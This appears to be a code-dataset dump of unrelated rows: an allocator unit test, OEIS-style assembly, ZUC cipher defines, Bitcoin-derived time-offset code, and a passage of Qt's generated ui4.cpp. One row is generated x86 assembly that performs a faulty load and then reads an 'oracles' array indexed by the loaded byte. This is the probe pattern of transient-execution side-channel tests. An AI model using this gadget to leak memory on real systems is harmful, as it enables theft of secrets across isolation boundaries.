text stringlengths 1 1.05M |
|---|
#include "furious.h"
#include <gtest/gtest.h>
TEST(fdb_stack_alloc_test, fdb_stack_alloc_test)
{
fdb_stack_alloc_t alloc;
fdb_stack_alloc_init(&alloc, KILOBYTES(4), nullptr);
constexpr uint32_t num_alignments = 10;
uint32_t alignments[num_alignments] = {1, 2, 4, 8, 16, 32, 64, 128, 256, 512};
constexpr uint32_t num_allocations = 250;
uint32_t allocation_sizes[num_allocations];
void* allocation_addrs[num_allocations];
uint32_t allocation_alignments[num_allocations];
srand(time(NULL));
for (uint32_t i = 0; i < num_allocations; ++i)
{
allocation_alignments[i] = (uint32_t)alignments[(uint32_t)rand() % num_alignments];
allocation_sizes[i] = (uint32_t)(rand() % (KILOBYTES(4) - sizeof(void*) - (allocation_alignments[i] < FDB_MIN_ALIGNMENT ? FDB_MIN_ALIGNMENT : allocation_alignments[i]))) + 1;
allocation_addrs[i] = nullptr;
}
for(uint32_t i = 0; i < num_allocations; ++i)
{
allocation_addrs[i] = fdb_stack_alloc_alloc(&alloc,
allocation_alignments[i],
allocation_sizes[i],
-1);
memset(allocation_addrs[i], i % 256, allocation_sizes[i]);
}
for(uint32_t i = 0; i < num_allocations; ++i)
{
char signature = i % 256;
char* data = (char*)allocation_addrs[i];
for(uint32_t j = 0; j < allocation_sizes[i]; ++j)
{
ASSERT_EQ(data[j], signature);
}
uint32_t modulo = ((uint64_t)allocation_addrs[i]) % allocation_alignments[i];
ASSERT_EQ(modulo, 0);
fdb_stack_alloc_free(&alloc, allocation_addrs[i]);
}
fdb_stack_alloc_release(&alloc);
}
TEST(fdb_stack_alloc_test, fdb_stack_alloc_test_pop)
{
fdb_stack_alloc_t alloc;
fdb_stack_alloc_init(&alloc, KILOBYTES(4), nullptr);
uint32_t alignment = 32;
uint32_t alloc_size = 48;
uint32_t num_allocs = 1024;
void** allocations = new void*[num_allocs];
for(uint32_t i = 0; i < num_allocs; ++i)
{
allocations[i] = fdb_stack_alloc_alloc(&alloc,
alignment,
alloc_size,
FDB_NO_HINT);
}
for(uint32_t i = 0; i < num_allocs; ++i)
{
fdb_stack_alloc_pop(&alloc,
allocations[num_allocs-1-i]);
}
delete [] allocations;
fdb_stack_alloc_release(&alloc);
}
int main(int argc, char *argv[])
{
::testing::InitGoogleTest(&argc, argv);
int ret = RUN_ALL_TESTS();
return ret;
}
|
; A144602: Christoffel word of slope 4/11.
; 0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0
add $0,1
mod $0,15
dif $0,2
add $0,1
mod $0,2
|
main: ldi $a0, -100
jal abs
addi $v, 50
ldi $a0, 500
jal abs
addi $v, -50
j exit
abs: la $t1, return
move $v, $a0
bgt $a0, $0, $t1
neg $v, $a0
return: jr $ra
exit: nop |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2021, Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%define USE_GFNI 1
%define CIPHER_16 asm_ZucCipher_16_gfni_avx512
%define ZUC128_INIT asm_ZucInitialization_16_gfni_avx512
%define ZUC256_INIT asm_Zuc256Initialization_16_gfni_avx512
%define ZUC128_REMAINDER_16 asm_Eia3RemainderAVX512_16_VPCLMUL
%define ZUC256_REMAINDER_16 asm_Eia3_256_RemainderAVX512_16_VPCLMUL
%define ZUC_KEYGEN64B_16 asm_ZucGenKeystream64B_16_gfni_avx512
%define ZUC_KEYGEN8B_16 asm_ZucGenKeystream8B_16_gfni_avx512
%define ZUC_KEYGEN4B_16 asm_ZucGenKeystream4B_16_gfni_avx512
%define ZUC_KEYGEN_16 asm_ZucGenKeystream_16_gfni_avx512
%define ZUC_KEYGEN64B_SKIP8_16 asm_ZucGenKeystream64B_16_skip8_gfni_avx512
%define ZUC_KEYGEN8B_SKIP8_16 asm_ZucGenKeystream8B_16_skip8_gfni_avx512
%define ZUC_KEYGEN_SKIP8_16 asm_ZucGenKeystream_16_skip8_gfni_avx512
%define ZUC_ROUND64B_16 asm_Eia3Round64B_16_VPCLMUL
%include "avx512/zuc_x16_avx512.asm"
|
; A070323: Let M_n be the n X n matrix m(i,j)=min(prime(i), prime(j)); then a(n)=det(M_n).
; Submitted by Jon Maiga
; 2,2,4,8,32,64,256,512,2048,12288,24576,147456,589824,1179648,4718592,28311552,169869312,339738624,2038431744,8153726976,16307453952,97844723712,391378894848,2348273369088,18786186952704,75144747810816
mov $1,1
lpb $0
mov $2,$0
sub $0,1
seq $2,54541 ; Sum of first n terms equals n-th prime.
mul $1,$2
lpe
mov $0,$1
mul $0,2
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x12f9a, %r10
nop
nop
nop
xor %r12, %r12
movb (%r10), %r15b
nop
nop
inc %rdx
lea addresses_UC_ht+0x3c6a, %rsi
lea addresses_D_ht+0x1496a, %rdi
cmp $13375, %rdx
mov $81, %rcx
rep movsq
nop
sub $29624, %rcx
lea addresses_UC_ht+0xa1e2, %rsi
lea addresses_D_ht+0x8c5a, %rdi
nop
nop
nop
xor $48537, %rbx
mov $52, %rcx
rep movsb
inc %rdi
lea addresses_D_ht+0xc0aa, %rsi
lea addresses_WT_ht+0x8d2a, %rdi
nop
add $18186, %r15
mov $38, %rcx
rep movsl
nop
nop
nop
nop
sub $770, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r8
push %r9
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_WC+0x1d46a, %rsi
lea addresses_WC+0xe6a, %rdi
clflush (%rdi)
nop
nop
nop
nop
and %r12, %r12
mov $42, %rcx
rep movsl
nop
nop
nop
cmp $13056, %rsi
// Store
lea addresses_D+0x10812, %rsi
nop
nop
nop
dec %r9
mov $0x5152535455565758, %r8
movq %r8, (%rsi)
nop
nop
add %r8, %r8
// Store
lea addresses_normal+0xfc6a, %r11
nop
add %r12, %r12
mov $0x5152535455565758, %rcx
movq %rcx, %xmm7
vmovups %ymm7, (%r11)
nop
nop
nop
nop
nop
dec %r8
// Load
lea addresses_RW+0xde6a, %r11
clflush (%r11)
nop
nop
nop
nop
xor $55627, %rsi
mov (%r11), %rdi
nop
nop
nop
nop
and %r12, %r12
// Faulty Load
lea addresses_WC+0x11c6a, %rcx
dec %r9
mov (%rcx), %edi
lea oracles, %rcx
and $0xff, %rdi
shlq $12, %rdi
mov (%rcx,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'38': 795}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
// Copyright (c) 2014 The Bitcoin developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "timedata.h"
#include "netbase.h"
#include "sync.h"
#include "ui_interface.h"
#include "util.h"
#include "utilstrencodings.h"
#include <boost/foreach.hpp>
using namespace std;
static CCriticalSection cs_nTimeOffset;
static int64_t nTimeOffset = 0;
/**
* "Never go to sea with two chronometers; take one or three."
* Our three time sources are:
* - System clock
* - Median of other nodes clocks
* - The user (asking the user to fix the system clock if the first two disagree)
*/
int64_t GetTimeOffset()
{
LOCK(cs_nTimeOffset);
return nTimeOffset;
}
int64_t GetAdjustedTime()
{
return GetTime() + GetTimeOffset();
}
static int64_t abs64(int64_t n)
{
return (n >= 0 ? n : -n);
}
void AddTimeData(const CNetAddr& ip, int64_t nTime)
{
int64_t nOffsetSample = nTime - GetTime();
LOCK(cs_nTimeOffset);
// Ignore duplicates
static set<CNetAddr> setKnown;
if (!setKnown.insert(ip).second)
return;
// Add data
static CMedianFilter<int64_t> vTimeOffsets(200, 0);
vTimeOffsets.input(nOffsetSample);
LogPrintf("Added time data, samples %d, offset %+d (%+d minutes)\n", vTimeOffsets.size(), nOffsetSample, nOffsetSample / 60);
// There is a known issue here (see issue #4521):
//
// - The structure vTimeOffsets contains up to 200 elements, after which
// any new element added to it will not increase its size, replacing the
// oldest element.
//
// - The condition to update nTimeOffset includes checking whether the
// number of elements in vTimeOffsets is odd, which will never happen after
// there are 200 elements.
//
// But in this case the 'bug' is protective against some attacks, and may
// actually explain why we've never seen attacks which manipulate the
// clock offset.
//
// So we should hold off on fixing this and clean it up as part of
// a timing cleanup that strengthens it in a number of other ways.
//
if (vTimeOffsets.size() >= 5 && vTimeOffsets.size() % 2 == 1) {
int64_t nMedian = vTimeOffsets.median();
std::vector<int64_t> vSorted = vTimeOffsets.sorted();
// Only let other nodes change our time by so much
if (abs64(nMedian) < 70 * 60) {
nTimeOffset = nMedian;
} else {
nTimeOffset = 0;
static bool fDone;
if (!fDone) {
// If nobody has a time different than ours but within 5 minutes of ours, give a warning
bool fMatch = false;
BOOST_FOREACH (int64_t nOffset, vSorted)
if (nOffset != 0 && abs64(nOffset) < 5 * 60)
fMatch = true;
if (!fMatch) {
fDone = true;
string strMessage = _("Warning: Please check that your computer's date and time are correct! If your clock is wrong SportsCash Core will not work properly.");
strMiscWarning = strMessage;
LogPrintf("*** %s\n", strMessage);
uiInterface.ThreadSafeMessageBox(strMessage, "", CClientUIInterface::MSG_WARNING);
}
}
}
if (fDebug) {
BOOST_FOREACH (int64_t n, vSorted)
LogPrintf("%+d ", n);
LogPrintf("| ");
}
LogPrintf("nTimeOffset = %+d (%+d minutes)\n", nTimeOffset, nTimeOffset / 60);
}
}
|
/****************************************************************************
**
** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies).
** Contact: http://www.qt-project.org/legal
**
** This file is part of the tools applications of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Digia. For licensing terms and
** conditions see http://qt.digia.com/licensing. For further information
** use the contact form at http://qt.digia.com/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Digia gives you certain additional
** rights. These rights are described in the Digia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3.0 as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU General Public License version 3.0 requirements will be
** met: http://www.gnu.org/copyleft/gpl.html.
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include "ui4.h"
#ifdef QUILOADER_QDOM_READ
#include <QtXml/QDomElement>
#endif
QT_BEGIN_NAMESPACE
#ifdef QFORMINTERNAL_NAMESPACE
using namespace QFormInternal;
#endif
/*******************************************************************************
** Implementations
*/
void DomUI::clear(bool clear_all)
{
delete m_widget;
delete m_layoutDefault;
delete m_layoutFunction;
delete m_customWidgets;
delete m_tabStops;
delete m_images;
delete m_includes;
delete m_resources;
delete m_connections;
delete m_designerdata;
delete m_slots;
delete m_buttonGroups;
if (clear_all) {
m_text.clear();
m_has_attr_version = false;
m_has_attr_language = false;
m_has_attr_displayname = false;
m_has_attr_stdsetdef = false;
m_attr_stdsetdef = 0;
m_has_attr_stdSetDef = false;
m_attr_stdSetDef = 0;
}
m_children = 0;
m_widget = 0;
m_layoutDefault = 0;
m_layoutFunction = 0;
m_customWidgets = 0;
m_tabStops = 0;
m_images = 0;
m_includes = 0;
m_resources = 0;
m_connections = 0;
m_designerdata = 0;
m_slots = 0;
m_buttonGroups = 0;
}
DomUI::DomUI()
{
m_children = 0;
m_has_attr_version = false;
m_has_attr_language = false;
m_has_attr_displayname = false;
m_has_attr_stdsetdef = false;
m_attr_stdsetdef = 0;
m_has_attr_stdSetDef = false;
m_attr_stdSetDef = 0;
m_widget = 0;
m_layoutDefault = 0;
m_layoutFunction = 0;
m_customWidgets = 0;
m_tabStops = 0;
m_images = 0;
m_includes = 0;
m_resources = 0;
m_connections = 0;
m_designerdata = 0;
m_slots = 0;
m_buttonGroups = 0;
}
DomUI::~DomUI()
{
delete m_widget;
delete m_layoutDefault;
delete m_layoutFunction;
delete m_customWidgets;
delete m_tabStops;
delete m_images;
delete m_includes;
delete m_resources;
delete m_connections;
delete m_designerdata;
delete m_slots;
delete m_buttonGroups;
}
void DomUI::read(QXmlStreamReader &reader)
{
foreach (const QXmlStreamAttribute &attribute, reader.attributes()) {
QStringRef name = attribute.name();
if (name == QLatin1String("version")) {
setAttributeVersion(attribute.value().toString());
continue;
}
if (name == QLatin1String("language")) {
setAttributeLanguage(attribute.value().toString());
continue;
}
if (name == QLatin1String("displayname")) {
setAttributeDisplayname(attribute.value().toString());
continue;
}
if (name == QLatin1String("stdsetdef")) {
setAttributeStdsetdef(attribute.value().toString().toInt());
continue;
}
if (name == QLatin1String("stdSetDef")) {
setAttributeStdSetDef(attribute.value().toString().toInt());
continue;
}
reader.raiseError(QLatin1String("Unexpected attribute ") + name.toString());
}
for (bool finished = false; !finished && !reader.hasError();) {
switch (reader.readNext()) {
case QXmlStreamReader::StartElement : {
const QString tag = reader.name().toString().toLower();
if (tag == QLatin1String("author")) {
setElementAuthor(reader.readElementText());
continue;
}
if (tag == QLatin1String("comment")) {
setElementComment(reader.readElementText());
continue;
}
if (tag == QLatin1String("exportmacro")) {
setElementExportMacro(reader.readElementText());
continue;
}
if (tag == QLatin1String("class")) {
setElementClass(reader.readElementText());
continue;
}
if (tag == QLatin1String("widget")) {
DomWidget *v = new DomWidget();
v->read(reader);
setElementWidget(v);
continue;
}
if (tag == QLatin1String("layoutdefault")) {
DomLayoutDefault *v = new DomLayoutDefault();
v->read(reader);
setElementLayoutDefault(v);
continue;
}
if (tag == QLatin1String("layoutfunction")) {
DomLayoutFunction *v = new DomLayoutFunction();
v->read(reader);
setElementLayoutFunction(v);
continue;
}
if (tag == QLatin1String("pixmapfunction")) {
setElementPixmapFunction(reader.readElementText());
continue;
}
if (tag == QLatin1String("customwidgets")) {
DomCustomWidgets *v = new DomCustomWidgets();
v->read(reader);
setElementCustomWidgets(v);
continue;
}
if (tag == QLatin1String("tabstops")) {
DomTabStops *v = new DomTabStops();
v->read(reader);
setElementTabStops(v);
continue;
}
if (tag == QLatin1String("images")) {
DomImages *v = new DomImages();
v->read(reader);
setElementImages(v);
continue;
}
if (tag == QLatin1String("includes")) {
DomIncludes *v = new DomIncludes();
v->read(reader);
setElementIncludes(v);
continue;
}
if (tag == QLatin1String("resources")) {
DomResources *v = new DomResources();
v->read(reader);
setElementResources(v);
continue;
}
if (tag == QLatin1String("connections")) {
DomConnections *v = new DomConnections();
v->read(reader);
setElementConnections(v);
continue;
}
if (tag == QLatin1String("designerdata")) {
DomDesignerData *v = new DomDesignerData();
v->read(reader);
setElementDesignerdata(v);
continue;
}
if (tag == QLatin1String("slots")) {
DomSlots *v = new DomSlots();
v->read(reader);
setElementSlots(v);
continue;
}
if (tag == QLatin1String("buttongroups")) {
DomButtonGroups *v = new DomButtonGroups();
v->read(reader);
setElementButtonGroups(v);
continue;
}
reader.raiseError(QLatin1String("Unexpected element ") + tag);
}
break;
case QXmlStreamReader::EndElement :
finished = true;
break;
case QXmlStreamReader::Characters :
if (!reader.isWhitespace())
m_text.append(reader.text().toString());
break;
default :
break;
}
}
}
#ifdef QUILOADER_QDOM_READ
void DomUI::read(const QDomElement &node)
{
if (node.hasAttribute(QLatin1String("version")))
setAttributeVersion(node.attribute(QLatin1String("version")));
if (node.hasAttribute(QLatin1String("language")))
setAttributeLanguage(node.attribute(QLatin1String("language")));
if (node.hasAttribute(QLatin1String("displayname")))
setAttributeDisplayname(node.attribute(QLatin1String("displayname")));
if (node.hasAttribute(QLatin1String("stdsetdef")))
setAttributeStdsetdef(node.attribute(QLatin1String("stdsetdef")).toInt());
if (node.hasAttribute(QLatin1String("stdSetDef")))
setAttributeStdSetDef(node.attribute(QLatin1String("stdSetDef")).toInt());
for (QDomNode n = node.firstChild(); !n.isNull(); n = n.nextSibling()) {
if (!n.isElement())
continue;
QDomElement e = n.toElement();
QString tag = e.tagName().toLower();
if (tag == QLatin1String("author")) {
setElementAuthor(e.text());
continue;
}
if (tag == QLatin1String("comment")) {
setElementComment(e.text());
continue;
}
if (tag == QLatin1String("exportmacro")) {
setElementExportMacro(e.text());
continue;
}
if (tag == QLatin1String("class")) {
setElementClass(e.text());
continue;
}
if (tag == QLatin1String("widget")) {
DomWidget *v = new DomWidget();
v->read(e);
setElementWidget(v);
continue;
}
if (tag == QLatin1String("layoutdefault")) {
DomLayoutDefault *v = new DomLayoutDefault();
v->read(e);
setElementLayoutDefault(v);
continue;
}
if (tag == QLatin1String("layoutfunction")) {
DomLayoutFunction *v = new DomLayoutFunction();
v->read(e);
setElementLayoutFunction(v);
continue;
}
if (tag == QLatin1String("pixmapfunction")) {
setElementPixmapFunction(e.text());
continue;
}
if (tag == QLatin1String("customwidgets")) {
DomCustomWidgets *v = new DomCustomWidgets();
v->read(e);
setElementCustomWidgets(v);
continue;
}
if (tag == QLatin1String("tabstops")) {
DomTabStops *v = new DomTabStops();
v->read(e);
setElementTabStops(v);
continue;
}
if (tag == QLatin1String("images")) {
DomImages *v = new DomImages();
v->read(e);
setElementImages(v);
continue;
}
if (tag == QLatin1String("includes")) {
DomIncludes *v = new DomIncludes();
v->read(e);
setElementIncludes(v);
continue;
}
if (tag == QLatin1String("resources")) {
DomResources *v = new DomResources();
v->read(e);
setElementResources(v);
continue;
}
if (tag == QLatin1String("connections")) {
DomConnections *v = new DomConnections();
v->read(e);
setElementConnections(v);
continue;
}
if (tag == QLatin1String("designerdata")) {
DomDesignerData *v = new DomDesignerData();
v->read(e);
setElementDesignerdata(v);
continue;
}
if (tag == QLatin1String("slots")) {
DomSlots *v = new DomSlots();
v->read(e);
setElementSlots(v);
continue;
}
if (tag == QLatin1String("buttongroups")) {
DomButtonGroups *v = new DomButtonGroups();
v->read(e);
setElementButtonGroups(v);
continue;
}
}
m_text.clear();
for (QDomNode child = node.firstChild(); !child.isNull(); child = child.nextSibling()) {
if (child.isText())
m_text.append(child.nodeValue());
}
}
#endif
void DomUI::write(QXmlStreamWriter &writer, const QString &tagName) const
{
writer.writeStartElement(tagName.isEmpty() ? QString::fromUtf8("ui") : tagName.toLower());
if (hasAttributeVersion())
writer.writeAttribute(QLatin1String("version"), attributeVersion());
if (hasAttributeLanguage())
writer.writeAttribute(QLatin1String("language"), attributeLanguage());
if (hasAttributeDisplayname())
writer.writeAttribute(QLatin1String("displayname"), attributeDisplayname());
if (hasAttributeStdsetdef())
writer.writeAttribute(QLatin1String("stdsetdef"), QString::number(attributeStdsetdef()));
if (hasAttributeStdSetDef())
writer.writeAttribute(QLatin1String("stdsetdef"), QString::number(attributeStdSetDef()));
if (m_children & Author) {
writer.writeTextElement(QLatin1String("author"), m_author);
}
if (m_children & Comment) {
writer.writeTextElement(QLatin1String("comment"), m_comment);
}
if (m_children & ExportMacro) {
writer.writeTextElement(QLatin1String("exportmacro"), m_exportMacro);
}
if (m_children & Class) {
writer.writeTextElement(QLatin1String("class"), m_class);
}
if (m_children & Widget) {
m_widget->write(writer, QLatin1String("widget"));
}
if (m_children & LayoutDefault) {
m_layoutDefault->write(writer, QLatin1String("layoutdefault"));
}
if (m_children & LayoutFunction) {
m_layoutFunction->write(writer, QLatin1String("layoutfunction"));
}
if (m_children & PixmapFunction) {
writer.writeTextElement(QLatin1String("pixmapfunction"), m_pixmapFunction);
}
if (m_children & CustomWidgets) {
m_customWidgets->write(writer, QLatin1String("customwidgets"));
}
if (m_children & TabStops) {
m_tabStops->write(writer, QLatin1String("tabstops"));
}
if (m_children & Images) {
m_images->write(writer, QLatin1String("images"));
}
if (m_children & Includes) {
m_includes->write(writer, QLatin1String("includes"));
}
if (m_children & Resources) {
m_resources->write(writer, QLatin1String("resources"));
}
if (m_children & Connections) {
m_connections->write(writer, QLatin1String("connections"));
}
if (m_children & Designerdata) {
m_designerdata->write(writer, QLatin1String("designerdata"));
}
if (m_children & Slots) {
m_slots->write(writer, QLatin1String("slots"));
}
if (m_children & ButtonGroups) {
m_buttonGroups->write(writer, QLatin1String("buttongroups"));
}
if (!m_text.isEmpty())
writer.writeCharacters(m_text);
writer.writeEndElement();
}
void DomUI::setElementAuthor(const QString& a)
{
m_children |= Author;
m_author = a;
}
void DomUI::setElementComment(const QString& a)
{
m_children |= Comment;
m_comment = a;
}
void DomUI::setElementExportMacro(const QString& a)
{
m_children |= ExportMacro;
m_exportMacro = a;
}
void DomUI::setElementClass(const QString& a)
{
m_children |= Class;
m_class = a;
}
DomWidget* DomUI::takeElementWidget()
{
DomWidget* a = m_widget;
m_widget = 0;
m_children ^= Widget;
return a;
}
void DomUI::setElementWidget(DomWidget* a)
{
delete m_widget;
m_children |= Widget;
m_widget = a;
}
DomLayoutDefault* DomUI::takeElementLayoutDefault()
{
DomLayoutDefault* a = m_layoutDefault;
m_layoutDefault = 0;
m_children ^= LayoutDefault;
return a;
}
void DomUI::setElementLayoutDefault(DomLayoutDefault* a)
{
delete m_layoutDefault;
m_children |= LayoutDefault;
m_layoutDefault = a;
}
DomLayoutFunction* DomUI::takeElementLayoutFunction()
{
DomLayoutFunction* a = m_layoutFunction;
m_layoutFunction = 0;
m_children ^= LayoutFunction;
return a;
}
void DomUI::setElementLayoutFunction(DomLayoutFunction* a)
{
delete m_layoutFunction;
m_children |= LayoutFunction;
m_layoutFunction = a;
}
void DomUI::setElementPixmapFunction(const QString& a)
{
m_children |= PixmapFunction;
m_pixmapFunction = a;
}
DomCustomWidgets* DomUI::takeElementCustomWidgets()
{
DomCustomWidgets* a = m_customWidgets;
m_customWidgets = 0;
m_children ^= CustomWidgets;
return a;
}
void DomUI::setElementCustomWidgets(DomCustomWidgets* a)
{
delete m_customWidgets;
m_children |= CustomWidgets;
m_customWidgets = a;
}
DomTabStops* DomUI::takeElementTabStops()
{
DomTabStops* a = m_tabStops;
m_tabStops = 0;
m_children ^= TabStops;
return a;
}
void DomUI::setElementTabStops(DomTabStops* a)
{
delete m_tabStops;
m_children |= TabStops;
m_tabStops = a;
}
DomImages* DomUI::takeElementImages()
{
DomImages* a = m_images;
m_images = 0;
m_children ^= Images;
return a;
}
void DomUI::setElementImages(DomImages* a)
{
delete m_images;
m_children |= Images;
m_images = a;
}
DomIncludes* DomUI::takeElementIncludes()
{
DomIncludes* a = m_includes;
m_includes = 0;
m_children ^= Includes;
return a;
}
void DomUI::setElementIncludes(DomIncludes* a)
{
delete m_includes;
m_children |= Includes;
m_includes = a;
}
DomResources* DomUI::takeElementResources()
{
DomResources* a = m_resources;
m_resources = 0;
m_children ^= Resources;
return a;
}
void DomUI::setElementResources(DomResources* a)
{
delete m_resources;
